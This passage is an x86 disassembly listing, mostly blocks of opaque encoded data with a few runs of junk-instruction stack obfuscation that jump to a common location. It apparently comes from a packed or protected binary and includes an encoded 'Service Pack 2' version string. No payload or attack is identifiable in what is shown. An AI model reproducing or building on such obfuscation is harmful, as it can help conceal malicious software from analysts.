		dd 6CBDA03Ah, 557251E0h, 9DB4A620h, 0A62E6F10h,	0D36821B4h
		dd 98B71475h, 9DB4E965h, 0C28E1D10h, 0DBC44A75h, 0DFC1E750h
		dd 0E82836BEh, 0CDBDBF01h, 2C7CD74Fh, 61A0B197h, 65426100h
		dd 44B71342h, 5A80109Eh, 98F9480Ah, 2C50D2F9h, 0F2F3E4CCh
		dd 0B52D9BEAh, 0FB1A1685h, 77D5686Ah, 6CE07157h, 0FAB684Fh
		dd 9A932C6Dh, 9629352h,	8A33BB0Fh, 6EBF7308h, 87DA00DEh
		dd 735774C5h, 0DE38ADE3h, 0A7E1370Eh, 16A30766h, 13A4B63Eh
		dd 0B6382C3Dh, 4D3C8D45h, 902E4FFBh, 1BAA90AFh,	0ECE4839h
		dd 7697E137h, 73D96C6Eh, 1EBE6B54h, 37CFA34Ah, 0C233EADh
		dd 0BF000000h, 392CDDC2h, 6B9C8D4h, 0BD885ABEh,	7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	47DEh
		mov	[esp], edi
		push	21FBh
		mov	[esp], ecx
		push	ecx
		mov	ecx, 73E07B0Dh
		mov	edi, 79F93B62h
		add	edi, 219C4080h
		sub	edi, ecx
		sub	edi, 219C4080h
		pop	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 0AC7B893Ch, 18CD8EB8h, 0FFC50306h, 0C51D1BE0h, 0FAAB0129h
		dd 0D09F0313h, 7298FA1Dh, 49846357h, 568C0E07h,	0F89D3E3Fh
		dd 1E3D03Dh, 4A90013h, 4B8BB270h, 73727D73h, 358C1C58h
		dd 0DE7EA2Bh, 62B9C00h,	5495180Bh, 0B328A97Bh, 6267F35Fh
		dd 0AC6D5F74h, 7B6D9B16h, 2CDE704h, 7C32BC78h, 0E516FB2Bh
		dd 0AF8D8D21h, 6A0618CFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 553AC351h, 0F1CA37D5h
		dd 280C2241h, 0EE8h, 98D8EB00h,	0D12B9D27h, 6D87557Ch
		dd 29EC09D9h, 1314BDBDh, 12E95F06h, 83000000h, 5DE0FB87h
		dd 85689186h, 0DA7E90EDh, 9E8F6B4Ch, 0BD8D898Ah, 6A06131Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 3CB6C351h, 6C910249h, 0E8E6535Ch,	11h, 6CFA22EFh
		dd 0D826DCFFh, 48E619CDh, 23118594h, 85C75F96h,	61318DDh
		dd 6314h, 5BD9533h, 85C70613h, 6133055h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EDC35646h
		dd 35B7EF97h, 95892953h, 6130F59h, 0FFD3B70Fh, 132331B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 19419603h, 0CAAA1B62h, 1D8995FFh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F96D2C3h, 6AF1BFh, 0DA995FFh, 0C08B0613h, 372D7EEBh
		dd 2B665812h, 32094700h, 59F66EDEh, 2A3C6992h, 0DA9F3DF6h
		dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0A25EBC9Ch, 38BB5662h
		dd 6DD7FCCAh, 6AECED29h, 93D43DBDh, 0B70F9177h,	3A294055h
		dd 2709821Bh, 38542EB4h, 1B81213Dh, 7FFFC583h, 5D5A3E38h
		dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh,	50369DA8h
		dd 89B17D99h, 0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 36B25B43h
		dd 64432DFh, 3DE9h, 7A746800h, 12h, 0C51C5700h,	6148434Ah
		dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 0F4C7009Dh, 6063921Dh, 0DE19h, 3 dup(0)
		dd 6EE90000h, 6800000Ah, 618D18Bh, 0FAB0DFE9h, 0D2EF68FFh
		dd 0D5E90618h, 68FFFAB0h, 618D3D8h, 0FAB0CBE9h,	0D48768FFh
		dd 0C1E90618h, 68FFFAB0h, 618D546h, 0FAB0B7E9h,	0D5EE68FFh
		dd 0ADE90618h, 68FFFAB0h, 618D694h, 0FAB0A3E9h,	0D87168FFh
		dd 99E90618h, 68FFFAB0h, 618D95Ch, 0FAB08FE9h, 144290FFh
		dd 0C4294B6h, 12388CAEh, 133D8EB4h, 14408DB3h, 43A887B6h
		dd 5A805EF6h, 486A480Ah, 537555F3h, 5F6C4A02h, 84910D80h
		dd 475A16B6h, 0C8BEA31Bh, 65787AEBh, 0D6011685h, 420FB209h
		dd 0CE3F9C63h, 0A857354h, 73F0F81Dh, 3C8DB512h,	0AA95B210h
		dd 0BED67C2Ah, 8EC00872h, 0E440113Bh, 0BB2A89FDh, 106CFF98h
		dd 66E2755Dh, 7EBA1449h, 283046Ch, 0CBE82DBAh, 0C53856E7h
		dd 46C7F49h, 3492F312h,	0C091BB0Eh, 674B7D64h, 8A0475D5h
		dd 53046C7Eh, 0C6DDD6Fh, 49714E6Dh, 820352F6h, 5F8ECB3Ah
		dd 63470A5Dh, 0F6737DD5h, 0B0ECE297h, 6EFD73DEh, 8A473h
		dd 5CFA4800h, 440A5C7Eh, 5AF04466h, 4B05567Ch, 5CF8456Bh
		dd 8BE04F7Eh, 92B8163Eh, 90B21042h, 8BAD0D3Bh, 0A7B4123Ah
		dd 85D935A8h, 6FA216B6h, 1D6CBDD3h, 1071C08Ch, 4BDEE071h
		dd 7C65A101h, 3885AD0Ah, 4CC4D1Ch, 0A34BA6D7h, 0B1D4168Eh
		dd 9EF151A0h, 9F2D0A8Ah, 9F0680F5h, 4ECF0A8Ah, 0AC3C1E2Fh
		dd 9F1975E8h, 0A3E20A8Ah, 0FD8B73C2h, 0B650998Ch, 21B09245h
		dd 6331A933h, 0CB5AAD0Ch, 64h, 0C8BEA36Fh, 989B7AEBh, 666C168Eh
		dd 0B91677D1h, 0F598B196h, 0D3810B68h, 8A8128A2h, 0FACF10Ah
		dd 8A8184DEh, 0C84D0Ah,	10456261h, 0A8A80B6h, 81247EEFh
		dd 0A8ED0A8Ah, 2424B79Bh, 4B95F415h, 8A815EBCh,	0E059B50Ah
		dd 0AD26FCBCh, 0D7645Ah, 58770000h, 8A74A925h, 0AC13720Ah
		dd 0FC3D74D3h, 5802CAD2h, 51E06CBDh, 0E574E06Dh, 0B63650E1h
		dd 80CC5DCEh, 0CD55FD1Bh, 28B99DACh, 0F2578624h, 3B109EAEh
		dd 0A86DE91Ch, 0D736109Eh, 6D4A9BF0h, 9C2401B6h, 852527BAh
		dd 2B3A12A3h, 15B2D40Dh, 7D7C8F2Ah, 23ADCD21h, 0BEC2C736h
		dd 7A9B168Eh, 81055C5Ch, 0B3220522h, 0A8AAC57h,	94F3FD20h
		dd 107515B1h, 86AC0B8Ah, 9BBD1D37h, 8B33404Eh, 213CA5E5h
		dd 0E9E70D40h, 852479FAh, 74048h, 381EAC00h, 2826B89Ah
		dd 3614A88Ah, 2F21B298h, 381CA98Fh, 6784AB9Ah, 765C7ADAh
		dd 6C4E6CE6h, 6F5171D7h, 83506EDEh, 86AD295Ch, 237616B6h
		dd 2670BD3Fh, 9DB55BB7h, 12C48C10h, 11C0C14Ch, 4A2C342h
		dd 0E1C18B1Eh, 2BEA347h, 0A603B205h, 6A4928D5h,	0B9D8654Dh
		dd 0F716272Bh, 0AEA43496h, 17767E9Fh, 168EDF36h, 3995C807h
		dd 20A8ACFh, 2253E283h,	0A8ACEA4h, 6FFE4CE0h, 0E071D96Bh
		dd 6F56F3DFh, 0E88F2C66h, 51E072C2h, 6030A830h,	0C85AACF0h
		dd 94h,	0E06CBD6Eh, 74E06D51h, 0B83194E5h, 0E475109Dh
		dd 0D5684A68h, 9FCAE677h, 4FE2C8E7h, 0CB0D6FDh,	0B7D41754h
		dd 0D8BD302Dh, 0B1168E83h, 0DB6B4F6Ch, 2B6B6973h, 2735036h
		dd 1074CEF0h, 2307A4E9h, 3A20BE96h, 8AB4A9ABh, 0B379FA1Bh
		dd 657D9F4h, 49950000h,	3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh
		dd 4392B816h, 0AD82B111h, 4363F140h, 2383CF5Dh,	409EAAFDh
		dd 2585C71Ah, 48C2331Ch, 1116B688h, 70BDA698h, 75E0C7E4h
		dd 0E8E7A713h, 0D1F7E5EFh, 54EECC80h, 51E06CBDh, 5270DC6Dh
		dd 9DB4A323h, 4BBE410h,	6A9910CBh, 568BA731h, 1EAF9330h
		dd 0F6FE1F2Eh, 476874E9h, 1A051686h, 55AB775Dh,	0AE3B851Bh
		dd 0DB6A506Fh, 40626F79h, 597F5FEDh, 0D6F54408h, 0E1EB61F4h
		dd 0A6378CD5h, 0C7E8C7A6h, 85F73C96h, 3880050Ah, 0C6163C1Bh
		dd 48C5448Ch, 111076F2h, 2DAFD98Ch, 25C479F8h, 5A828h
		dd 60F64400h, 80CE6042h, 9EAC0022h, 87C91A40h, 0A0B40127h
		dd 0EF1C1302h, 0EED4F262h, 0F4D6F45Eh, 0E7C9E95Fh, 0BD8F656h
		dd 893591C4h, 0ABFE16B6h, 0D2DDC2B7h, 0DFC3A1Bh, 81D406CEh
		dd 7A5D7ACBh, 9E438F0Bh, 0FC51C010h, 676767C3h,	292BB5D8h
		dd 0B87F698h, 0D4109E5Ah, 7981D0B1h, 75C87A0Fh,	9D5BF7D7h
		dd 45A3414Fh, 7, 140C419h, 706A0000h, 109DB512h, 7A592D34h
		dd 8564D00Bh, 33A28516h, 0A84E3D7h, 0F6737DA0h,	30173897h
		dd 0D64289D2h, 0A9A53575h, 0B6187998h, 0FD1C2D27h, 0FC50E1F3h
		dd 0E369FCDEh, 7B0B5652h, 4AAC295Ch, 10751076h,	0F786155Dh
		dd 0BA975679h, 4E9h, 3F9FB703h,	2585C919h, 3999B103h, 2A88C817h
		dd 3B9BB908h, 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h
		dd 0F5DAE7C7h, 0B68A0680h, 0E85ACF16h, 51E06CBDh, 0E170DC6Dh
		dd 681AAF19h, 0FB5777D5h, 0A341EA3Dh, 1DA5h, 0BF143600h
		dd 0C2953F89h, 2696DEDDh, 0B22310F5h, 109E4558h, 539DFC21h
		dd 8D08h, 0BEA3A600h, 787AEBC8h, 91168565h, 3A8BAF0Ch
		dd 3B8EB412h, 0FDE44011h, 98BB2A89h, 0ED106C95h, 96270BA8h
		dd 9F3218B6h, 97F658EAh, 77F6AC6h, 0F51835A8h, 3C610A5Ch
		dd 0DE45F349h, 4C892073h, 441h,	97371FABh, 8D2D21B1h, 913119ABh
		dd 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh
		dd 0AD002280h, 2D323F9Fh, 0B68A5EB8h, 50F22716h, 4EE0C2h
		dd 0B4D832A3h, 7CA1109Dh, 1156974h, 60420000h, 50B180CEh
		dd 0BEA3CE88h, 0A4786802h, 8BEAAFECh, 52B5B92Ch, 4FCE1686h
		dd 55F74A70h, 4A025375h, 0E2A4BDFBh, 826F90C5h,	41C4106Dh
		dd 483D62h, 9E7E28D0h, 90210956h, 0A93C1EBCh, 4B9692A3h
		dd 538E087Dh, 3657046Dh, 73577857h, 25646CE4h, 0A5E33E8h
		dd 2D79EC31h, 4673DF84h, 39BAAA7h, 5510000h, 0FF4F7151h
		dd 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h, 0BF1F3584h
		dd 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h, 9D16B68Ah
		dd 6CBDDA84h, 0DC6D51E0h, 0B4C743B2h, 0D90109Dh, 9B35DD6Ch
		dd 6BE1741Eh, 0EA21EF4Bh, 0DFC3A341h, 0B8124351h, 81109DC0h
		dd 0EFEC7D1Ch, 9DC1247Eh, 0C9A8ED10h, 4998FFh, 1C3B0000h
		dd 9DC16DE9h, 0DB37A610h, 0A4109DC0h, 1CEDD261h, 177EE459h
		dd 29B33D5Ch, 0EBC8BEA3h, 8EFBA77Ah, 57EAD016h,	1F7EEBF5h
		dd 3E469AC0h, 0DED70441h, 2989E86Eh, 89D35BBAh,	646970Ah
		dd 1C2E82A8h, 2EB104Dh,	0BDAE0000h, 6C49186Ah, 7D484DCBh
		dd 0B8094D1Ch, 0E5183794h, 109DBD69h, 0CB09D332h, 69F854E5h
		dd 5A78D465h, 6CC0035Eh, 0ED20BFDEh, 168EAB90h,	1465F419h
		dd 0A8AA6B6h, 0E408810Dh, 5AAD1414h, 44BCh, 0E5C2A200h
		dd 9DB51670h, 55F74A10h, 13D8706h, 0CC419EE8h, 168E98CDh
		dd 0D24CC19Eh, 9B0A8A88h, 4503587Ah, 66E41524h,	0A20A8A89h
		dd 0CDF14012h, 0D83D27Eh, 0F6FFE663h, 3FFD1F9Ch, 0A75AAD3Eh
		dd 0E0h, 0E06CBDBBh, 0B1E06D51h, 513024h, 77C9DCC3h, 13EFB353h
		dd 163687C9h, 9AB20347h, 87C3153Dh, 0ADBC9423h,	5976646Ch
		dd 0AA245976h, 73109DE5h, 0E5E76312h, 0CE1B109Dh, 956B786h
		dd 48CD3C84h, 91109DE9h, 27361AA9h, 69FCDEE6h, 4EDEC4E3h
		dd 0CD43504h, 7BC9F1CEh, 0BD0786D7h, 33024A9Bh,	3D9AECF5h
		dd 55AD351Ah, 1C540063h, 40678277h, 1CB6C13h, 8EFB1782h
		dd 7D5DC016h, 815E2841h, 7561720Ch, 0BD1A7B10h,	0AF0C4895h
		dd 0F5121288h, 34C5EA66h, 0C4A922Fh, 0C8BD9726h, 79FAA888h
		dd 0BE03DE8Dh, 2E000001h
		dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh
		dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h
		dd 16B68CE7h, 0BDC579B0h, 0E4C6E470h, 7DDBFB51h, 0EBC8BEA3h
		dd 0BD575C7h, 15C6F1CEh, 0DEC5FB85h, 5D3CCB15h,	2E168ECAh
		dd 0AF2F5EEFh, 0EB0A8AB9h, 6165F45Ch, 0BAEE7FD3h, 8B5243B8h
		dd 92628AFFh, 3A5AACEFh, 0D4h, 0E06CBD20h, 1507251h, 42134190h
		dd 381AA2C3h, 260CABA9h, 6607F393h, 85AD5101h, 0AC3455E4h
		dd 5849CC3Dh, 3C8D109Eh, 3F8FB310h, 351DAB0Fh, 3A8BADABh
		dd 1E044312h, 9DB1018Eh, 1D2C4DCCh, 0A1C8F4FCh,	0C6E9C6E5h
		dd 9E513B97h, 37810410h, 8F225DC8h, 27870616h, 278402E7h
		dd 757DDBB6h, 99EA410h,	59815E3Fh, 486A480Ch, 0B8265BF9h
		dd 0E979FACAh, 0D30742h, 0CD190000h, 0B7072989h, 0BF113797h
		dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h
		dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B68Eh, 70BDC29Ch
		dd 0B55BB726h, 0E124109Dh, 1E042380h, 1475C48Eh, 9DB4E965h
		dd 8953B210h, 78D4654Bh, 0A4E7775Bh, 0EE2F3E14h, 0B917458Fh
		dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8564DE29h, 0E5C24316h
		dd 55E470BDh, 1E3DAC34h, 3A7AD3Ch, 0FD4F99B1h, 2002A0ACh
		dd 5FAEBF8Dh, 0FEE64B23h, 0BB8ACA17h, 38094997h, 0E7CE6BA7h
		dd 0F5AD1E54h, 0F7E32264h, 0BABD2421h, 996EE81Dh, 0D637F622h
		dd 0D22F18B7h, 980F46E1h, 89E866F8h, 9E2F113Fh,	2CBB9FAEh
		dd 0CD3F1524h, 1933863Ch, 64697B9h, 31A37h, 7BB80000h
		dd 0E571BDE1h, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h
		dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh,	89512215h
		dd 4C181E1h, 83000000h,	0C8704E9h, 24248B24h, 230168h
		dd 242C8900h, 490068h, 243C8900h, 74B26850h, 48B4BABh
		dd 4C48324h, 0B3A46135h, 58C5894Dh, 471668h, 24248900h
		dd 4240483h, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h, 5B2B89CBh
		dd 243C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0BBE40734h, 91B6FFC6h, 437AD038h, 0DA54B882h, 0C5030618h
		dd 0E92EE0FFh, 61624382h, 0B5AA0640h, 3CCB3C5Dh, 8C361113h
		dd 0DDC606F8h, 478C149Ah, 83DE749Ah, 0D3C07BBEh, 93EA428Eh
		dd 0AF184840h, 36B76F06h, 1AE47D7Fh, 0E6B1368h,	5DC769CCh
		dd 16386810h, 0D73649D1h, 0DEC527F0h, 5C347D79h, 0B0E5795Fh
		dd 5E960230h, 784324D8h, 1C3E6A82h, 0FE877EBh, 0F5000000h
		dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8166CC1Dh, 5A6836F0h
		dd 68D0Fh, 0D7810000h, 47E3C39Fh, 7428C281h, 9E90000h
		dd 0A000000h, 84A1AEAh,	47BEAEB1h, 1CDDBBh, 0BA666000h
		dd 0CB8066E0h, 0A8B618Ch, 81CADC80h, 0A7DB09F1h, 0D860F12h
		dd 0E9000000h, 8, 590AFDB6h, 9F25893Eh,	0A216E981h, 0F1810D9Ch
		dd 6FF99229h, 3DFEF81h,	0A896F33h, 7161F081h, 0EA831D79h
		dd 0FFBF0F04h, 20850F4Bh, 0E9000000h, 0Fh, 0D35825B8h
		dd 48C14493h, 0DD286A69h, 0E90D772Fh, 17h, 3FA9AC53h, 80E25C0Dh
		dd 93E957E0h, 67FFFFFFh, 3DF788E7h, 0EB732C56h,	24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 618DC0Bh, 173D858Bh, 858B0613h
		dd 61320F1h, 0DC55B58Dh, 858D0618h, 6164483h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 618DC5Bh, 173DBD83h, 0F010613h, 2C85h
		dd 0BB5FF00h, 8B0618DCh, 1320F185h, 27363506h, 0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 18DC0FB5h, 0B5FF5606h, 618DC0Bh, 20F1858Bh, 36350613h
		dd 0FF348127h, 0CC483D0h, 0DC0FB58Dh, 468B0618h, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 3DBD8300h, 1061317h
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	18DC3485h, 6D858906h
		dd 0E906130Eh, 9Ch, 4DBAA49Dh, 94h, 5, 1, 0A28h, 2, 76726553h
		dd 20656369h, 6B636150h, 3220h,	1Dh dup(0)
		dd 0B6EE9h, 0DF3C6800h,	0B5E90618h, 68FFFAA3h, 618E041h
		dd 0FAA3ABE9h, 0E16C68FFh, 0A1E90618h, 68FFFAA3h, 618E1D9h
		dd 0FAA397E9h, 0E30968FFh, 8DE90618h, 68FFFAA3h, 618E362h
		dd 0FAA383E9h, 0E69468FFh, 79E90618h, 68FFFAA3h, 618E793h
		dd 0FAA36FE9h, 3422B0FFh, 2C22B496h, 3218AC8Eh,	331DAE94h
		dd 3420AD93h, 6388A796h, 7A607ED6h, 684A68EAh, 735575D3h
		dd 7F4C6AE2h, 91B12D60h, 277A16B6h, 0D3F92B8h, 6CBD19C3h
		dd 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h, 72D02130h
		dd 0C90A8A9Fh, 0D0A0CC3Dh, 0B25AAD0Ch, 0AD113F90h, 0E322331Fh
		dd 36C2D9h, 0A3980000h,	7AEBC8BEh, 168E989Bh, 0E918296Ch
		dd 0A8A8969h, 2A3B17A5h, 0A6B79528h, 9A8B0072h,	1A42B753h
		dd 5AAD3E5Ah, 8DC7163Ch, 0F5DC43h, 0DBFF0000h, 5DF7C189h
		dd 0C3E06CBDh, 0B70151DFh, 0DD042B28h, 959037E3h, 11A0B23Ah
		dd 0EF3E6443h, 0CF0C5B65h, 30217DF0h, 0ABEA109Eh, 0C796B607h
		dd 95C7E46h, 0EA3E6443h, 28B0D160h, 4A4495B9h, 2F9EF86Dh
		dd 2667109Eh, 9E2FDB37h, 0D9EA410h, 63432243h, 9E2C0BF0h
		dd 4A025310h, 59F3466Ch, 0D1B5AC08h, 26A0D5F2h,	0EF109E2Bh
		dd 0C43926AEh, 168F30C1h, 0E559B59Ah, 9BE169AFh, 0F9123206h
		dd 0DDBCDDCBh, 0DEA8C1FDh, 23898C01h, 65621075h, 751096F0h
		dd 5F3E5F04h, 490B5A80h, 0D1664C69h, 4B2A20B4h,	0FF519BFAh
		dd 69AFA2B2h, 0A679FA6Fh, 92DCA07h, 6DF90000h, 57E7C9E9h
		dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch
		dd 1FBF9321h, 4A2A639h,	0E1C18B1Eh, 0C86F7D8h, 0D516B694h
		dd 70BDA2BCh, 0DEBF9321h, 0C68AD901h, 67FAE0FEh, 0A36BC5E5h
		dd 7AEBC8BEh, 168E989Bh, 6673F3DCh, 0B265248Dh,	468EBC10h
		dd 634764A9h, 2E5F7CD4h, 0A8A6CB4h, 11D0187Dh, 8A6D62E0h
		dd 0BC4DB90Ah, 0AD52C090h, 0CF685Ah, 0BDCE0000h, 0C28E1D6Ch
		dd 6EFF4DE0h, 0DBFF4E2Fh, 677C68Eh, 109DB101h, 0A2FC714Eh
		dd 6B109DAFh, 1DB0A22Ah, 18A98F2Fh, 0E2072534h,	0AC3C53E1h
		dd 9A6C7A6h, 783DA41Eh,	5AC95D47h, 0BCBCBA57h, 78656F0Eh
		dd 8DDE0005h, 60F1D916h, 0C2E8DECh, 2AA4D9BDh, 0F30A89CBh
		dd 6062F392h, 0ADEC7DCBh, 0DAD604CCh, 4AC4398Fh, 7E0A89CBh
		dd 0CF4E1F29h, 5F7C1D80h, 74291C2Eh, 0D3F01510h, 0D4F262EFh
		dd 80F55FEEh, 79F9823Eh, 2885C067h, 0FE000008h,	2208A6B0h
		dd 3A20BE90h, 2406A4A6h, 3B1DBD93h, 1508A6AEh, 0F064F11Ah
		dd 0F260F0D2h, 0EF59EED4h, 0F458E9CFh, 93C20DD6h, 16B69537h
		dd 0BDB5A900h, 0E4C6E470h, 0F3DCFB51h, 0EDB27156h, 0E9E7F193h
		dd 0E06CBD4Fh, 1571E4C3h, 0DE109DB5h, 99B635BFh, 0B4CB47B6h
		dd 0D104109Dh, 109DB575h, 4A90DF3Eh, 850455F7h,	67FADCE4h
		dd 0DABB8D22h, 713D2FDh, 92CB3CF1h, 8B46C035h, 8E0F109Eh
		dd 0D1181846h, 6DE716B5h, 0A2168640h, 0ADF65085h, 5EBF0A85h
		dd 17B4D996h, 0DAAA233h, 32BA9625h, 0ADE5B124h,	88DF0A85h
		dd 0A8A16834h, 8563D935h, 3C63A20Ah, 0CCAD741Dh, 0B6E6D1EEh
		dd 0C4385A31h, 0AA2C22AAh, 5CEBD811h, 452465F4h, 0F7664966h
		dd 0A84CD9Bh, 68972164h, 1075BEC9h, 79D7684Ah, 0C21FA9E8h
		dd 6C2DA043h, 0E77294Ah, 0E114B3D3h, 7699BA48h,	3775C449h
		dd 6775432h, 7083B8B9h,	0DFC8E726h, 1EEA3216h, 2B28B089h
		dd 0BB95260Ch, 0BE8E1F31h, 0E2A73A20h, 0A7AD3C51h, 47167796h
		dd 7AB2A7C6h, 8FDA0417h, 6FDFDD8h, 9D290000h, 0A73719B9h
		dd 8F2107A7h, 0A6351BBBh, 97260CAAh, 12E1DBDh, 0D7F75DECh
		dd 0CFEF63F1h, 0D4F256E9h, 0D1F15BEEh, 3C96C708h, 516B696h
		dd 0BEA3B28Ch, 0D96C3B02h, 0E180D15Ah, 0FA3993C2h, 9FFE1685h
		dd 0C3C81A40h, 2221876h, 0A51421E2h, 0AF1475C4h, 1CED111Bh
		dd 0EBCBAA4Bh, 88D975C5h, 2459F346h, 800AD4AEh,	901D38EFh
		dd 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh, 93B5153Bh
		dd 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch, 5CF04167h
		dd 0FB6A757Eh, 16B6959Fh, 0A30D3168h, 7AEBC8BEh, 16856A22h
		dd 0E2FCE0E7h, 80B0980Ch, 0DFC4680Eh, 9DFCFEE2h, 81C71C3Eh
		dd 4A8751B0h, 5877D568h, 1FADE272h, 82E32233h, 7552B3h
		dd 0A851286h, 0D806CE4Fh, 0D4F38FD8h, 851231A1h, 51E0E20Ah
		dd 0B2D33203h, 11F352A3h, 0D4A0A85h, 0A7B69225h, 97345E66h
		dd 0A6BBA775h, 450F5Ah,	0A3330000h, 0C6E9C6BCh,	0DD71C1E9h
		dd 9DB532ACh, 529AFB10h, 9DB55BB3h, 68F91C10h, 9DB4B919h
		dd 5761010h, 86007552h,	0BF109DB4h, 9DB3D44Eh, 0EB789D10h
		dd 0FABA22AAh, 625CBE19h, 7, 1B6C4F8h, 0B96A0000h, 0DBABB6DFh
		dd 0A5E889FCh, 4169168Eh, 0D7945CF0h, 0B4B855B6h, 22B9240Ah
		dd 0ED20BFC7h, 60D0EA54h, 0AF933055h, 44A32D1Dh, 268501E8h
		dd 0BAEA88B7h, 3390F55Ah, 9DD0BE0Fh, 4EB65A41h,	0CCEA8B0Ah
		dd 0CA3B53E6h, 4EB65A50h, 0E095F419h, 0C43BB87Ch, 60C702A9h
		dd 0C6000005h, 0DA00DE78h, 0C2E8C688h, 0DCFEDC6Eh, 0C3E5C58Bh
		dd 0CD00DE76h, 98BC0962h, 8AC8183Ah, 97B1062Ch,	8CC01137h
		dd 0CB3A252Eh, 16B6984Fh, 0BD5D0118h, 7251E06Ch, 0B4A62055h
		dd 2E6F109Dh, 374F9AA6h, 94886598h, 8C11168Eh, 93B90C2Eh
		dd 0FF28CDEh, 0CB06A580h, 507h,	0E3C3931Fh, 0C1E16DBDh
		dd 0DDFD4DDFh, 0C6E46CFBh, 0DFFF55E4h, 9B2A43ECh, 0A93719B9h
		dd 942709A9h, 0A13416B4h, 213E0BABh, 0B69872ECh, 7CE63B16h
		dd 51E06CBDh, 90FC5072h, 9DB5015Dh, 2A4BCA10h, 0E0F2FA1Bh
		dd 0A86EFF4Dh, 50E1912Ah, 0B686DEFCh, 1EA341E6h, 3Bh, 4BE0C244h
		dd 0A2C7F3FDh, 0F96C7E4h, 30168EACh, 7CF1CEEDh,	0A8A9522h
		dd 0FC4B0556h, 61904F99h, 0A8A94E1h, 0F3DCE38h,	5AAD0A41h
		dd 7BE9h, 40E5CA00h, 5D35D8B1h,	0A389539Dh, 0CCEBC8BEh
		dd 9DB53D99h, 23870610h, 2936BE96h, 8EFBE1B4h, 5C7B9A16h
		dd 4D6AE476h, 26B6D565h, 9DFC1D2Ch, 55834DCCh, 0D8D34F78h
		dd 31E29545h, 1EF958A7h, 0A4350A8Ah, 22D0AA8h, 36C9394Bh
		dd 0CE3F9CFCh, 0A8A1654h, 0DEF0F81Dh, 1433024Ch, 8AF992Eh
		dd 40CB8A49h, 0F4A922Bh, 413h, 0D9B90A30h, 8A5B2AA4h, 0F392F30Ah
		dd 3F992362h, 0EBC8BEA3h, 8EAFAF7Ah, 24355816h,	8EFF8F22h
		dd 0A8A9A14h, 88D9B8DDh, 51BFE8D7h, 0D771C6FFh,	590481F0h
		dd 0B484F58Fh, 8BFAD9ADh, 107B8B9Eh, 0A4293B7h,	0C3E025C2h
		dd 0D6FD4DDFh, 0EA82864h, 0CE0CD457h, 0C123C6F1h, 1227CF1h
		dd 0AAEB0477h, 0E48FE605h, 0E567FADCh, 86507754h, 23496D3h
		dd 0FFEA569Eh, 0DFFF2887h, 0FF36318Fh, 0C63724ACh, 0A684253h
		dd 96B8890Ch, 0BD194C44h, 86FE643Bh, 0F3D76607h, 95AEB63h
		dd 0AF05F089h, 371BCC3Dh, 2E20A8A8h, 3411B19Bh,	40B4D40Bh
		dd 0BDE150E9h, 3455E470h, 2D5990ACh, 0BF4AA98Eh, 83D27ECDh
		dd 2C3C9D02h, 3215428Ah, 9A66E015h, 0EE2FFE64h,	869AA7E6h
		dd 2830455h, 8EBE0F33h,	94B80931h, 0ED7C44C5h, 0C73658E9h
		dd 0F851864Bh, 0C190F114h, 10212D7Dh, 0CF992FCh, 0F3C536B8h
		dd 0CA3B98EEh, 0FE4272BFh, 644665A8h, 63717BD1h, 0D160EC3Dh
